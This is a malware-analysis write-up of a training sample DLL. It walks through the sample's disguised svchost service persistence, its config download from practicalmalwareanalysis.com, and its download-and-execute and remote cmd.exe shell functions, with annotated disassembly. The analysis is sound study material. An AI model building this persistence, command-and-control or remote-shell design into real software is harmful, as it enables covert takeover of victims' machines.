0x07_Lab03-02
Overview
| Filename | Size | MD5 |
|---|---|---|
| Lab03-02.dll | 23 KB | 84882c9d43e23d63b82004fae74ebb61 |
TL;DR: A malicious service DLL downloading a base64-encoded configuration from a file named serve.html hosted at practicalmalwareanalysis.com:80. This config file is used to download additional payload(s) in the %TEMP% folder using WinINet APIs and/or to execute remote commands using WinSock2 APIs.
Tools: IDA Free 7.0
IDB: Lab03-02.i64
Service Installation
A call to the exported function Install expects either:
- An empty string
- One of the strings in the data of the value
netsvcsof the keyHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
If no service name is provided, the default will be IPRIP.
An ALL_ACCESS handle (0x0F003F) to the Service Control Manager is requested, and a new service hosted by svchost is created with the following parameters:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; ebx=0
.text:10004865 push ebx ; lpPassword
.text:10004866 push ebx ; lpServiceStartName
.text:10004867 push ebx ; lpDependencies
.text:10004868 push ebx ; lpdwTagId
.text:10004869 push ebx ; lpLoadOrderGroup
.text:1000486A push offset BinaryPathName ; %SystemRoot%\System32\svchost.exe -k netsvcs
.text:1000486F push SERVICE_ERROR_NORMAL ; dwErrorControl
.text:10004871 push SERVICE_AUTO_START ; dwStartType
.text:10004873 push SERVICE_WIN32_SHARE_PROCESS ; dwServiceType
.text:10004875 push SERVICE_ALL_ACCESS ; dwDesiredAccess
.text:1000487A push offset DisplayName ; "Intranet Network Awareness (INA+)"
.text:1000487F push [ebp+str_IPRIP] ; lpServiceName
.text:10004882 push esi ; hSCManager
.text:10004883 call ds:CreateServiceA
The registry key SYSTEM\CurrentControlSet\Services\IPRIP is added, and the following ValueName:Data pairs are set for this key:
- ImagePath :
%SystemRoot%\System32\svchost.exe -k netsvcs - Description : Depends INA+, Collects and stores network configuration and location information, and notifies applications when this information changes.
- DisplayName : Intranet Network Awareness (INA+)
- ErrorControl : 1
- ObjectName : LocalSystem
- Start : 2
- Type : 0x20
The registry key SYSTEM\CurrentControlSet\Services\IPRIP\Parameters is added, and the following ValueName:Data pairs for this key:
- ServiceDll : path of the dll or path of file actually containing the module
- DependOnService : RpcSs
This last value means the RpcSs service must be started before the malicious service.
Service Execution
Service execution starts in the ServiceMain(). This function registers a control handler, updates the service status to SERVICE_RUNNING, and calls the main routine doing malicious stuffs.
The control handler is registered with a call to RegisterServiceCtrlHandlerA:
1
2
3
4
5
.text:100031D2 push offset HandlerProc ; lpHandlerProc
.text:100031D7 push eax ; lpServiceName
.text:100031D8 call ds:RegisterServiceCtrlHandlerA
.text:100031DE xor esi, esi
.text:100031E0 mov hServiceStatus, eax
Inside the handler, we get the following control codes:
| Value | Result |
|---|---|
| 1, 5 | stop service |
| 2 | pause service |
| 3 | run service |
| 4 | keep previous state |
Network
Networking features rely both on WinINet and WinSock2 API sets.
In function 0x1000321A, a user-agent string is built by concatenating the hostname (gethostbyname) with the string " Windows XP 6.11".
Downloading the config file
The malware starts its malicious network activity by downloading a file named serve.html thought a HTTP GET request on port 80 sent to the domain practicalmalwareanalysis.com. It expects 0x40 bytes of data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
; connection params
.text:10004584 push ebp ; dwContext
.text:10004585 push INTERNET_FLAG_KEEP_CONNECTION ; dwFlags
.text:1000458A mov ecx, offset szPassword ; 0
.text:1000458F push INTERNET_SERVICE_HTTP ; dwService
.text:10004591 push ecx ; lpszPassword
.text:10004592 push ecx ; lpszUserName
.text:10004593 push 80 ; nServerPort
.text:10004595 push offset szServerName ; "practicalmalwareanalysis.com"
.text:1000459A push eax ; hInternet
.text:1000459B call ds:InternetConnectA
; request params
.text:100045AB push 0 ; dwContext
.text:100045AD push INTERNET_FLAG_NO_CACHE_WRITE ; dwFlags
.text:100045B2 push offset lpszAcceptTypes ; */*
.text:100045B7 push 0 ; lpszReferrer
.text:100045B9 push offset szVersion ; "HTTP/1.1"
.text:100045BE push offset szObjectName ; "serve.html"
.text:100045C3 push offset szVerb ; "GET"
.text:100045C8 push ebp ; hConnect
.text:100045C9 call ds:HttpOpenRequestA
; download
.text:1000460A lea eax, [esp+28h+dwNumberOfBytesRead]
.text:1000460E push eax ; lpdwNumberOfBytesRead
.text:1000460F push 40h ; dwNumberOfBytesToRead
.text:10004611 push offset download_buffer_1 ; lpBuffer
.text:10004616 push [esp+34h+hFile] ; hFile
.text:1000461A call ds:InternetReadFile
Then it retrieve some content within the markers <!-- and --!>.
Marker “start”:
1
2
3
4
5
6
.text:10004674 push offset tag_start ; "<!--"
.text:10004679 push [ebp+downloaded_data] ; Str
[...]
.text:10004680 call esi ; strstr
[...]
.text:10004687 mov edi, eax
Marker “end”:
1
2
3
.text:10004682 push offset tag_end ; "--!>"
.text:10004689 push [ebp+downloaded_data] ; Str
.text:1000468C call esi ; strstr
Copy content to stack buffer:
1
2
3
4
5
6
7
8
9
10
; edi->"<!--"
; eax->"--!>"
.text:10004699 sub eax, edi ; end-start
.text:1000469B add edi, 4 ; skip tag_start
.text:1000469E sub eax, 4 ; sub length of tag_start
.text:100046A1 push eax ; Count
.text:100046A2 lea eax, [ebp+raw_content]
.text:100046A5 push edi ; Source
.text:100046A6 push eax ; Dest
.text:100046A7 call ds:strncpy
The raw content extracted from the dowloaded file serve.html is then processed within function 0x10004123. A quick inspection of this function suggests a kind of decoding. The replacement of some characters, such as + by > and / by ? suggests a variant of base64 decode. Finally, playing with the function and some controlled input (toto debug FTW) confirms this function is a base64 decoder:
1
2
3
4
.text:100046B0 push 0 ; size or null
.text:100046B2 push eax ; raw_content
.text:100046B3 push [ebp+ouput] ; output
.text:100046B6 call Base64Decode
Once decoded, the config file is parsed. The most interesting commands are d (or D) anc c (or C).
Command “d”: download and execute payload
If the config file contains the command d, function 0x10003415 is called. This function retrieves an ObjectName and a ServerName from the parsed config, and use them in a HTTP GET request. It uses the same Wininet APIs already seen. If the request is successful, it calls HttpQueryInfoA to obtain the length of the payload, uses this length to allocate memory on the heap, and download the payload to the allocated buffer:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; query
.text:10003530 lea eax, [ebp+dwBufferLength]
.text:10003533 push ebx ; lpdwIndex
.text:10003534 push eax ; lpdwBufferLength
.text:10003535 lea eax, [ebp+Buffer]
.text:1000353B push eax ; lpBuffer
.text:1000353C push HTTP_QUERY_CONTENT_LENGTH ; dwInfoLevel
.text:1000353E push [ebp+hInternet] ; hRequest
.text:10003541 mov [ebp+dwBufferLength], 20h
.text:10003548 call ds:HttpQueryInfoA
; ascii to int
.text:1000354E lea eax, [ebp+Buffer]
.text:10003554 push eax ; Str
.text:10003555 call ds:atol
.text:1000355B mov edi, eax
; alloc
.text:1000355D lea eax, [edi+1]
.text:10003560 push eax ; unsigned int
.text:10003561 call ??2@YAPAXI@Z ; operator new(uint)
.text:10003566 pop ecx
.text:10003567 mov [ebp+downloaded_data], eax
.text:1000356A pop ecx
; download
.text:1000356B lea ecx, [ebp+dwNumberOfBytesRead]
.text:1000356E push ecx ; lpdwNumberOfBytesRead
.text:1000356F push edi ; dwNumberOfBytesToRead
.text:10003570 push eax ; lpBuffer
.text:10003571 push [ebp+hInternet] ; hFile
.text:10003574 call ds:InternetReadFile
If the download is successful, the payload is AES-decrypted and written to a file in the Windows temporary folder. The file is named according to the ObjectName parameter used by the previous call to HttpOpenRequestA, and the extension .exe is added to it (if ObjectName already has an extension, it is erased with a null byte before). Finally, the payload is executed with a call to CreateProcessA.
Note: to identify the use of AES, I relied on the cryptographic constants generated at runtime (see function 0x10001000 and here for example).
Command “c”: WinSock2 networking
If the config file contains the command c, a new thread is created:
1
2
3
4
5
6
7
8
9
10
.text:10003314 command_c:
.text:10003314 push offset ThreadId ; lpThreadId
.text:10003319 lea eax, [esp+64h+Parameter
.text:1000331D push ebx ; dwCreationFlags
.text:1000331E push eax ; lpParameter
.text:1000331F push offset Winsock ; lpStartAddress
.text:10003324 push ebx ; dwStackSize
.text:10003325 push ebx ; lpThreadAttributes
.text:10003326 mov dword_1000D478, ebx
.text:1000332C call ds:CreateThread
Similarly to command d, the thread starts by retrieving connection information from the parsed config (passed in the parameter lpThreadParameter). Here, it gets an IPv4 and a port number and uses them to fill a sockaddr_in structure (code not shown as it is similar to the preceeding lab). Then, the base64-encoded string Y29ubmVjdA== (“connect”) is sent:
1
2
3
4
5
6
7
.text:100038BB push ds:b64_connect
.text:100038C1 call strlen
.text:100038C6 pop ecx
.text:100038C7 push eax ; len
.text:100038C8 push ds:b64_connect ; data
.text:100038CE push esi ; s
.text:100038CF call ds:send
A buffer of 0x1400 bytes is zeroed on the stack, and after some socket selection shenanigans, data are received in this buffer:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:100038DD mov edi, 1400h
.text:100038E2
.text:100038E2 loop:
.text:100038E2 push edi ; Size
.text:100038E3 lea eax, [ebp+dl_buffer]
.text:100038E9 push ebx ; Val
.text:100038EA push eax ; Dst
.text:100038EB call memset
[...]
.text:10003944 lea eax, [ebp+dl_buffer]
.text:1000394A push edi ; len
.text:1000394B push eax ; buffer
.text:1000394C push esi ; s
.text:1000394D call ds:recv
The code loops while the data received start with Y29ubmVjdA== (“connect”), and exits if data start with cXVpdA== (“quit”):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
; loop
.text:1000395C push ds:b64_connect ; Str
.text:10003962 call strlen
.text:10003967 push eax ; MaxCount
.text:10003968 lea eax, [ebp+dl_buffer]
.text:1000396E push ds:b64_connect ; Str
.text:10003974 push eax ; Str1
.text:10003975 call ds:_strnicmp ; case insensitive secure strings comparison
.text:1000397B add esp, 10h
.text:1000397E test eax, eax
.text:10003980 jz loop
; quit
.text:10003986 push ptr_b64_quit ; Str
.text:1000398C call strlen
.text:10003991 push eax ; MaxCount
.text:10003992 lea eax, [ebp+dl_buffer]
.text:10003998 push ptr_b64_quit ; Str
.text:1000399E push eax ; Str1
.text:1000399F call ds:_strnicmp
.text:100039A5 add esp, 10h
.text:100039A8 test eax, eax
.text:100039AA jz short close_socket
If data start with y21k (“cmd”), the function 0x10003a13 is called:
1
2
3
4
5
6
7
8
9
.text:100039B8 lea eax, [ebp+dl_buffer]
.text:100039BE push commands_b64 ; Y21k
.text:100039C4 push eax ; Str1
.text:100039C5 call ds:_strnicmp
.text:100039CB add esp, 10h
.text:100039CE test eax, eax
.text:100039D0 jnz loop
.text:100039D6 push esi
.text:100039D7 call WinsockShell ; 0x10003a13
Executing commands with WinSock
Function 0x10003a13 allows the attacker to issue commands remotely. It starts by creating a pipe so stdout and stderr can be redirected there:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:10003A75 mov [ebp+PipeAttributes.nLength], 0Ch
[...]
.text:10003A7D mov [ebp+PipeAttributes.lpSecurityDescriptor], ebx ; 0= default SD
.text:10003A80 mov [ebp+PipeAttributes.bInheritHandle], 1
[...]
.text:10003ABB lea eax, [ebp+PipeAttributes]
.text:10003ABE push ebx ; nSize: 0 = default
.text:10003ABF push eax
.text:10003AC0 lea eax, [ebp+hWritePipe]
.text:10003AC3 push eax
.text:10003AC4 lea eax, [ebp+hReadPipe]
.text:10003AC7 push eax
.text:10003AC8 mov [ebp+NumberOfBytesRead], ebx
.text:10003ACB call ds:CreatePipe
The redirection to the newly created pipe is set up by updating the structure STARTUP_INFO of the process. In addition, the field wShowWindow is set to false:
1
2
3
4
5
6
7
8
9
10
11
12
.text:10003AD9 lea eax, [ebp+StartupInfo]
.text:10003ADC mov [ebp+StartupInfo.cb], 44h
.text:10003AE3 push eax ; lpStartupInfo
.text:10003AE4 call ds:GetStartupInfoA
.text:10003AEA mov eax, [ebp+hWritePipe]
[...]
.text:10003AF2 mov [ebp+StartupInfo.hStdError], eax
.text:10003AF5 mov [ebp+StartupInfo.hStdOutput], eax
[...]
.text:10003AFE mov [ebp+StartupInfo.wShowWindow], bx
[...]
.text:10003B03 mov [ebp+StartupInfo.dwFlags], 101h ; STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
Data from stdout and stderr are sent to the pipe, and will be retrieved later with ReadFile and sent (base64-encoded) to the attacker with send. Here is an overview:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
+------------------------------------------------------------------+ +-------------+
| INFECTED HOST | | REMOTE BOFH |
| | | |
| hWritePipe +--------+ +--------+ | | |
| stdout ----------> | buffer | ReadFile() | buffer | send() | | |
| stderr ----------> +--------+ ----------> +--------+ ----------------> |
| hReadPipe | | |
| | | |
| +--------+ | | |
| process data <-- | buffer | recv() | | |
| and commands +--------+ <--------------- |
| | | |
+------------------------------------------------------------------+ +-------------+
Once everything is initialized, base64-encoded commands are received from the remote host. These commands are:
cd path: call_chdir()to set the current working directory topath.getfile ObjectName ServerName: use WinInet APIs to download a file from a remote host and write it in the current directory.quit: close handles and leave the function.exit: same as above.
If the received command is not one of the above, it is concatenated with “cmd.exe /c ”, and the resulting string is used in a call to CreateProcessA (parameter lpCommandLine).
EOF